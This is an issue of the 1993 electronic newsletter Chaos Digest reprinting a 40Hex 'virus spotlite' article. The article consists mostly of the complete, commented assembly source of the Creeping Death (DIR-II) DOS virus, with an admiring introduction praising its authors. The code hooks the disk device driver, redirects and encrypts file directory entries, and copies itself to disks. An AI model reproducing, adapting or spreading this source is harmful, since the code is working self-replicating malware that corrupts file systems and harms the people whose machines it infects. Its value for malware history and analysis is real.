home *** CD-ROM | disk | FTP | other *** search
- Chaos Digest Mercredi 9 Juin 1993 Volume 1 : Numero 51
- ISSN 1244-4901
-
- Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
- Archiviste: Yves-Marie Crabbe
- Co-Redacteurs: Arnaud Bigare, Stephane Briere
-
- TABLE DES MATIERES, #1.51 (9 Juin 1993)
- File 1--40H VMag Number 6 Volume 2 Issue 2 #00A (reprint)
-
- Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
- available at no cost by sending a message to:
- linux-activists-request@niksula.hut.fi
- with a mail header or first line containing the following informations:
- X-Mn-Admin: join CHAOS_DIGEST
-
- The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
- or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
- 155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
- groups.
-
- Issues of ChaosD can also be found from the ComNet in Luxembourg BBS (+352)
- 466893. Back issues of ChaosD can be found on the Internet as part of the
- Computer underground Digest archives. They're accessible using anonymous FTP:
-
- * kragar.eff.org [192.88.144.4] in /pub/cud/chaos
- * uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
- * halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
- * ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
- * cs.ubc.ca [137.82.8.5] in /mirror3/EFF/cud/chaos
- * ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
- * nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
- * orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
-
- CHAOS DIGEST is an open forum dedicated to sharing French information among
- computerists and to the presentation and debate of diverse views. ChaosD
- material may be reprinted for non-profit as long as the source is cited.
- Some authors do copyright their material, and they should be contacted for
- reprint permission. Readers are encouraged to submit reasoned articles in
- French, English or German languages relating to computer culture and
- telecommunications. Articles are preferred to short responses. Please
- avoid quoting previous posts unless absolutely necessary.
-
- DISCLAIMER: The views represented herein do not necessarily represent
- the views of the moderators. Chaos Digest contributors
- assume all responsibility for ensuring that articles
- submitted do not violate copyright protections.
-
- ----------------------------------------------------------------------
-
- Date: Tue May 11 09:24:40 PDT 1993
- From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
- Subject: File 1--40H VMag Number 6 Volume 2 Issue 2 #00A (reprint)
-
-
- 40Hex Number 6 Volume 2 Issue 2 File 00A
-
- Welcome to this issue's VIRUS SPOTLITE, the infamous Creeping
- Death(dir2).
- This is one of the most impressive viruses out there, and VirusSoft looks to
- be
- a promising group in the future. Unfortunately, the source code we obtained
- had almost no comments. Dark Angel commented it as best as he possibly could,
- but I think it is safe to say that there may be a few discrepancies.
- Nonetheless, it was an excellent job, kudos to DA. Although I am writing this
- header, I had nothing to do with the commenting, so Dark Angel gets all the
- credit.
-
- -)GHeap
-
- ------------------------------------------------------------------------------
- -
- ; Dark Angel's comments: I spent my entire waking hours looking at this virus.
- ; I love it. It is my life. I worship the drive it
- ; infects. Take a look at it. Let not my troubles be
- ; in vain. Why did I do this? I sacrifice my life for
- ; the benefit of 40Hex. If you don't read this, I'm
- ; gonna go join [NuKE].
-
- ; Creeping Death V 1.0
- ;
- ; (C) Copyright 1991 by VirusSoft Corp.
-
- i13org = 5f8h
- i21org = 5fch
-
- dir_2 segment byte public
- assume cs:dir_2, ds:dir_2
-
- org 100h
-
- start:
- mov sp,600h ;Set up the stack pointer
- inc word ptr counter ;Generation counter
- xor cx,cx
- mov ds,cx ;DS points to interrupt table
- lds ax, ds:[0c1h] ;Find interrupt 30h
- add ax,21h ;Change it to Int 21h
- push ds ;Save it on stack for use by
- push ax ;subroutine "jump"
- mov ah,30h ;Get DOS version
- call jump
- cmp al,4 ;DOS 4.X+ : SI = 0
- sbb si,si ;DOS 2/3 : SI = -1
- mov byte ptr [drive+2],byte ptr -1 ;Initialise last drive to
- ;"never accessed"
- mov bx,60h ;Adjust memory in ES to
- mov ah,4ah ;BX paragraphs.
- call jump
-
- mov ah,52h ;Get DOS List of Lists
- call jump ;to ES:BX
- push es:[bx-2] ;Save Segment of first MCB
- lds bx,es:[bx] ;DS:BX -> 1st DPB
- ; (Drive parameter block)
- search: mov ax,[bx+si+15h] ;Get segment of device driver
- cmp ax,70h ;Is it CONFIG? (I think)
- jne next ;If not, try again
- xchg ax,cx ;Move driver segment to CX
- mov [bx+si+18h],byte ptr -1 ;Flag block must be rebuilt
- mov di,[bx+si+13h] ;Save offset of device driver
- ;Original device driver
- ;address in CX:DI
- mov [bx+si+13h],offset header ;Replace with our own
- mov [bx+si+15h],cs ; (header)
- next: lds bx,[bx+si+19h] ;Get next device block
- cmp bx,-1 ;Is it the last one?
- jne search ;If not, search it
- jcxz install
-
- pop ds ;Restore segment of first
- mov ax,ds ;MCB
- add ax,ds:[3] ;Go to next MCB
- inc ax ;AX = segment next MCB
- mov dx,cs ;DX = MCB owning current
- dec dx ; program
- cmp ax,dx ;Are these the same?
- jne no_boot ;If not, we are not currently
- ;in the middle of a reboot
- add word ptr ds:[3],61h ;Increase length owned by
- ;MCB by 1552 bytes
- no_boot: mov ds,dx ;DS = MCB owning current
- ;program
- mov word ptr ds:[1],8 ;Set owner = DOS
-
- mov ds,cx ;DS = segment of original
- ; device driver
- les ax,[di+6] ;ES = offset int handler
- ;AX = offset strategy entry
- mov word ptr cs:str_block,ax ;Save entry point
- mov word ptr cs:int_block,es ;And int block for use in
- ;function _in
- cld ;Scan for the write
- mov si,1 ;function in the
- scan: dec si ;original device driver
- lodsw
- cmp ax,1effh
- jne scan
- mov ax,2cah ;Wicked un-yar place o'
- cmp [si+4],ax ;doom.
- je right
- cmp [si+5],ax
- jne scan
- right: lodsw
- push cs
- pop es
- mov di,offset modify+1 ;Save address of patch
- stosw ;area so it can be changed
- xchg ax,si ;later.
- mov di,offset i13org ;This is in the stack, but
- cli ;it is used by "i13pr"
- movsw
- movsw
-
- mov dx,0c000h ;Scan for hard disk ROM
- ;Start search @ segment C000h
- fdsk1: mov ds,dx ;Load up the segment
- xor si,si ;atart at offset 0000h
- lodsw ;Scan for the signature
- cmp ax,0aa55h ;Is it the signature?
- jne fdsk4 ;If not, change segment
- cbw ;clear AH
- lodsb ;load a byte to AL
- mov cl,9
- sal ax,cl ;Shift left, 0 filled
- fdsk2: cmp [si],6c7h
- jne fdsk3
- cmp word ptr [si+2],4ch
- jne fdsk3
- push dx ;Save the segment
- push [si+4] ;and offset on stack
- jmp short death ;for use by i13pr
-
- install: int 20h
- file: db "c:",255,0
- fdsk3: inc si ;Increment search offset
- cmp si,ax ;If we are not too high,
- jb fdsk2 ;try again
- fdsk4: inc dx ;Increment search segment
- cmp dh,0f0h ;If we are not in high
- jb fdsk1 ;memory, try again
-
- sub sp,4 ;effectively push dummy vars.
- death: push cs ;on stack for use by i13pr
- pop ds
- mov bx,ds:[2ch] ;Get environment from PSP
- mov es,bx
- mov ah,49h ;Release it (to save memory)
- call jump
- xor ax,ax
- test bx,bx ;Is BX = 0?
- jz boot ;If so, we are booting now
- mov di,1 ;and not running a file
- seek: dec di ;Search for end of
- scasw ;the environment block
- jne seek
- lea si,[di+2] ;SI points to filename
- jmp short exec ;(in DOS 3.X+)
- ;Execute that file
- boot: mov es,ds:[16h] ;get PSP of parent
- mov bx,es:[16h] ;get PSP of parent
- dec bx ;go to its MCB
- xor si,si
- exec: push bx
- mov bx,offset param ;Set up parameter block
- ;for EXEC function
- mov [bx+4],cs ;segment to command line
- mov [bx+8],cs ;segment to 1st FCB
- mov [bx+12],cs ;segment to 2nd FCB
- pop ds
- push cs
- pop es
-
- mov di,offset f_name
- push di ;Save filename offset
- mov cx,40 ;Copy the filename to
- rep movsw ;the buffer
- push cs
- pop ds
-
- mov ah,3dh ;Handle open file
- mov dx,offset file ;"c:",0
- call jump
- pop dx ;DS:DX -> filename
-
- mov ax,4b00h ;Load and Execute
- call jump ;ES:BX = param block
- mov ah,4dh ;Get errorlevel
- call jump
- mov ah,4ch ;Terminate
-
- jump: pushf ;Simulate an interrupt 21h
- call dword ptr cs:[i21org]
- ret
-
-
- ;--------Installation complete
-
- i13pr: mov ah,3 ;Write AL sectors from ES:BX
- jmp dword ptr cs:[i13org] ;to track CH, sector CL,
- ;head DH, drive DL
-
-
- main: push ax ; driver
- push cx ; strategy block
- push dx
- push ds
- push si
- push di
-
- push es ;Move segment of parameter
- pop ds ;block to DS
- mov al,[bx+2] ;[bx+2] holds command code
-
- cmp al,4 ;Input (read)
- je input
- cmp al,8 ;Output (write)
- je output
- cmp al,9 ;Output (write) with verify
- je output
-
- call in_ ;Call original device
- cmp al,2 ;Request build BPB
- jne ppp ;If none of the above, exit
- lds si,[bx+12h] ;DS:SI point to BPB table
- mov di,offset bpb_buf ;Replace old pointer with
- mov es:[bx+12h],di ;a pointer to our own
- mov es:[bx+14h],cs ;BPB table
- push es ;Save segment of parameters
- push cs
- pop es
- mov cx,16 ;Copy the old BPB table to
- rep movsw ;our own
- pop es ;Restore parameter segment
- push cs
- pop ds
- mov al,[di+2-32] ;AL = sectors per allocation
- cmp al,2 ; unit. If less than
- adc al,0 ; 2, increment
- cbw ;Extend sign to AH (clear AH)
- cmp word ptr [di+8-32],0 ;Is total number sectors = 0?
- je m32 ;If so, big partition (>32MB)
- sub [di+8-32],ax ;Decrease space of disk by
- ;one allocation unit(cluster)
- jmp short ppp ;Exit
- m32: sub [di+15h-32],ax ;Handle large partitions
- sbb word ptr [di+17h-32],0
-
- ppp: pop di
- pop si
- pop ds
- pop dx
- pop cx
- pop ax
- rts: retf ;We are outta here!
-
- output: mov cx,0ff09h
- call check ;is it a new disk?
- jz inf_sec ;If not, go away
- call in_ ;Call original device handler
- jmp short inf_dsk
-
- inf_sec: jmp _inf_sec
- read: jmp _read
- read_: add sp,16 ;Restore the stack
- jmp short ppp ;Leave device driver
-
- input: call check ;Is it a new disk?
- jz read ;If not, leave
- inf_dsk: mov byte ptr [bx+2],4 ;Set command code to READ
- cld
- lea si,[bx+0eh] ;Load from buffer address
- mov cx,8 ;Save device driver request
- save: lodsw ;on the stack
- push ax
- loop save
- mov word ptr [bx+14h],1 ;Starting sector number = 1
- ;(Read 1st FAT)
- call driver ;Read one sector
- jnz read_ ;If error, exit
- mov byte ptr [bx+2],2 ;Otherwise build BPB
- call in_ ;Have original driver do the
- ;work
- lds si,[bx+12h] ;DS:SI points to BPB table
- mov ax,[si+6] ;Number root directory entries
- add ax,15 ;Round up
- mov cl,4
- shr ax,cl ;Divide by 16 to find sectors
- ;of root directory
- mov di,[si+0bh] ;DI = sectors/FAT
- add di,di ;Double for 2 FATs
- stc ;Add one for boot record
- adc di,ax ;Add sector size of root dir
- push di ;to find starting sector of
- ;data (and read)
- cwd ;Clear DX
- mov ax,[si+8] ;AX = total sectors
- test ax,ax ;If it is zero, then we have
- jnz more ;an extended partition(>32MB)
- mov ax,[si+15h] ;Load DX:AX with total number
- mov dx,[si+17h] ;of sectors
- more: xor cx,cx
- sub ax,di ;Calculate FAT entry for last
- ;sector of disk
- sbb dx,cx
- mov cl,[si+2] ;CL = sectors/cluster
- div cx ;AX = cluster #
- cmp cl,2 ;If there is more than 1
- sbb ax,-1 ;cluster/sector, add one
- push ax ;Save cluster number
- call convert ;AX = sector number to read
- ;DX = offset in sector AX
- ; of FAT entry
- ;DI = mask for EOF marker
- mov byte ptr es:[bx+2],4 ;INPUT (read)
- mov es:[bx+14h],ax ;Starting sector = AX
- call driver ;One sector only
- again: lds si,es:[bx+0eh] ;DS:SI = buffer address
- add si,dx ;Go to FAT entry
- sub dh,cl ;Calculate a new encryption
- adc dx,ax ;value
- mov word ptr cs:gad+1,dx ;Change the encryption value
- cmp cl,1 ;If there is 0 cluster/sector
- je small_ ;then jump to "small_"
- mov ax,[si] ;Load AX with offset of FAT
- ;entry
- and ax,di ;Mask it with value from
- ;"convert" then test to see
- ;if the sector is fine
- cmp ax,0fff7h ;16 bit reserved/bad
- je bad
- cmp ax,0ff7h ;12 bit reserved/bad
- je bad
- cmp ax,0ff70h ;12 bit reserved/bad
- jne ok
- bad: pop ax ;Tried to replicate on a bad
- dec ax ;cluster. Try again on a
- push ax ;lower one.
- call convert ;Find where it is in the FAT
- jmp short again ;and try once more
- small_: not di ;Reverse mask bits
- and [si],di ;Clear other bits
- pop ax ;AX = cluster number
- push ax
- inc ax ;Need to do 2 consecutive
- push ax ;bytes
- mov dx,0fh
- test di,dx
- jz here
- inc dx ;Multiply by 16
- mul dx
- here: or [si],ax ;Set cluster to next
- pop ax ;Restore cluster of write
- call convert ;Calculate buffer offset
- mov si,es:[bx+0eh] ;Go to FAT entry (in buffer)
- add si,dx
- mov ax,[si]
- and ax,di
- ok: mov dx,di ;DI = mask from "convert"
- dec dx
- and dx,di ;Yerg!
- not di
- and [si],di
- or [si],dx ;Set [si] to DI
-
- cmp ax,dx ;Did we change the FAT?
- pop ax ;i.e. Are we already on this
- pop di ;disk?
- mov word ptr cs:pointer+1,ax ;Our own starting cluster
- je _read_ ;If we didn't infect, then
- ;leave the routine. Oh
- ;welp-o.
- mov dx,[si]
- push ds
- push si
- call write ;Update the FAT
- pop si
- pop ds
- jnz _read_ ;Quit if there's an error
- call driver
- cmp [si],dx
- jne _read_
- dec ax
- dec ax
- mul cx ;Multiply by sectors/cluster
- ;to find the sector of the
- ;write
- add ax,di
- adc dx,0
- push es
- pop ds
- mov word ptr [bx+12h],2 ;Byte/sector count
- mov [bx+14h],ax ;Starting sector #
- test dx,dx
- jz less
- mov word ptr [bx+14h],-1 ;Flag extended partition
- mov [bx+1ah],ax ;Handle the sector of the
- mov [bx+1ch],dx ;extended partition
- less: mov [bx+10h],cs ;Transfer address segment
- mov [bx+0eh],100h ;and the offset (duh)
- call write ;Zopy ourselves!
- ;(We want to travel)
- _read_: std
- lea di,[bx+1ch] ;Restore device driver header
- mov cx,8 ;from the stack
- load: pop ax
- stosw
- loop load
- _read: call in_ ;Call original device handler
-
- mov cx,9
- _inf_sec:
- mov di,es:[bx+12h] ;Bytes/Sector
- lds si,es:[bx+0eh] ;DS:SI = pointer to buffer
- sal di,cl ;Multiply by 512
- ;DI = byte count
- xor cl,cl
- add di,si ;Go to address in the buffer
- xor dl,dl ;Flag for an infection in
- ;function find
- push ds
- push si
- call find ;Infect the directory
- jcxz no_inf
- call write ;Write it back to the disk
- and es:[bx+4],byte ptr 07fh ;Clear error bit in status
- ;word
- no_inf: pop si
- pop ds
- inc dx ;Flag for a decryption in
- ;function find
- call find ;Return right information to
- ;calling program
- jmp ppp
-
- ;--------Subroutines
-
- find: mov ax,[si+8] ;Check filename extension
- cmp ax,"XE" ;in directory structure
- jne com
- cmp [si+10],al
- je found
- com: cmp ax,"OC"
- jne go_on
- cmp byte ptr [si+10],"M"
- jne go_on
- found: test [si+1eh],0ffc0h ; >4MB ;Check file size high word
- jnz go_on ;to see if it is too big
- test [si+1dh],03ff8h ; <2048B ;Check file size low word
- jz go_on ;to see if it is too small
- test [si+0bh],byte ptr 1ch ;Check attribute for subdir,
- jnz go_on ;volume label or system file
- test dl,dl ;If none of these, check DX
- jnz rest ;If not 0, decrypt
- pointer: mov ax,1234h ;mov ax, XX modified elsewhere
- cmp ax,[si+1ah] ;Check for same starting
- ;cluster number as us
- je go_on ;If it is, then try another
- xchg ax,[si+1ah] ;Otherwise make it point to
- ;us.
- gad: xor ax,1234h ;Encrypt their starting
- ;cluster
- mov [si+14h],ax ;And put it in area reserved
- ;by DOS for no purpose
- loop go_on ;Try another file
- rest: xor ax,ax ;Disinfect the file
- xchg ax,[si+14h] ;Get starting cluster
- xor ax,word ptr cs:gad+1 ;Decrypt the starting cluster
- mov [si+1ah],ax ;and put it back
- go_on: db 2eh,0d1h,6 ;rol cs:[gad+1], 1
- dw offset gad+1 ;Change encryption and
- add si,32 ;go to next file
- cmp di,si ;If it is not past the end of
- jne find ;the buffer, then try again
- ret ;Otherwise quit
-
- check: mov ah,[bx+1] ;ah = unit code (block device
- ; only)
- drive: cmp ah,-1 ;cmp ah, XX can change.
- ;Compare with the last call
- ;-1 is just a dummy
- ;impossible value that will
- ;force the change to be true
- mov byte ptr cs:[drive+2],ah ;Save this call's drive
- jne changed ;If not the same as last call
- ;media has changed
- push [bx+0eh] ;If it is the same physical
- ;drive, see if floppy has
- ;been changed
- mov byte ptr [bx+2],1 ;Tell original driver to do a
- call in_ ;media check (block only)
- cmp byte ptr [bx+0eh],1 ;Returns 1 in [bx+0eh] if
- pop [bx+0eh] ;media has not been changed
- mov [bx+2],al ;Restore command code
- changed: ret ;CF,ZF set if media has not
- ;been changed, not set if
- ;has been changed or we don't
- ;know
- write: cmp byte ptr es:[bx+2],8 ;If we want OUTPUT, go to
- jae in_ ;original device handler
- ;and return to caller
- mov byte ptr es:[bx+2],4 ;Otherwise, request INPUT
- mov si,70h
- mov ds,si ;DS = our segment
- modify: mov si,1234h ;Address is changed elsewhere
- push [si]
- push [si+2]
- mov [si],offset i13pr
- mov [si+2],cs
- call in_ ;Call original device handler
- pop [si+2]
- pop [si]
- ret
-
- driver: mov word ptr es:[bx+12h],1 ;One sector
- in_: ;in_ first calls the strategy
- ;of the original device
- ;driver and then calls the
- ;interrupt handler
- db 09ah ;CALL FAR PTR
- str_block:
- dw ?,70h ;address
- db 09ah ;CALL FAR PTR
- int_block:
- dw ?,70h ;address
- test es:[bx+4],byte ptr 80h ;Was there an error?
- ret
-
- convert: cmp ax,0ff0h ;0FFF0h if 12 bit FAT
- jae fat_16 ;0FF0h = reserved cluster
- mov si,3 ;12 bit FAT
- xor word ptr cs:[si+gad-1],si ;Change the encryption value
- mul si ;Multiply by 3 and
- shr ax,1 ;divide by 2
- mov di,0fffh ;Mark it EOF (low 12 bits)
- jnc cont ;if it is even, continue
- mov di,0fff0h ;otherwise, mark it EOF (high
- jmp short cont ;12 bits) and then continue
- fat_16: mov si,2 ;16 bit FAT
- mul si ;Double cluster #
- mov di,0ffffh ;Mark it as end of file
- cont: mov si,512
- div si ;AX = sector number
- ;(relative to start of FAT)
- ;DX = offset in sector AX
- header: inc ax ;Increment AX to account for
- ret ;boot record
-
- counter: dw 0
-
- dw 842h ;Attribute
- ; Block device
- ; DOS 3 OPEN/CLOSE removable
- ; media calls supported
- ; Generic IOCTL call supported
- ;Supports 32 bit sectors
- dw offset main ;Strategy routine
- dw offset rts ;Interrupt routine (rtf)
- db 7fh ;Number of subunits supported
- ;by this driver. Wow, lookit
- ;it -- it's so large and juicy
-
- ; Parameter block format:
- ; 0 WORD Segment of environment
- ; 2 DWORD pointer to command line
- ; 6 DWORD pointer to 1st default FCB
- ;10 DWORD pointer to 2nd default FCB
- param: dw 0,80h,?,5ch,?,6ch,?
-
- bpb_buf: db 32 dup(?)
- f_name: db 80 dup(?)
-
- ;--------The End.
- dir_2 ends
- end start
-
- MsDos
-
- ------------------------------
-
- End of Chaos Digest #1.51
- ************************************
-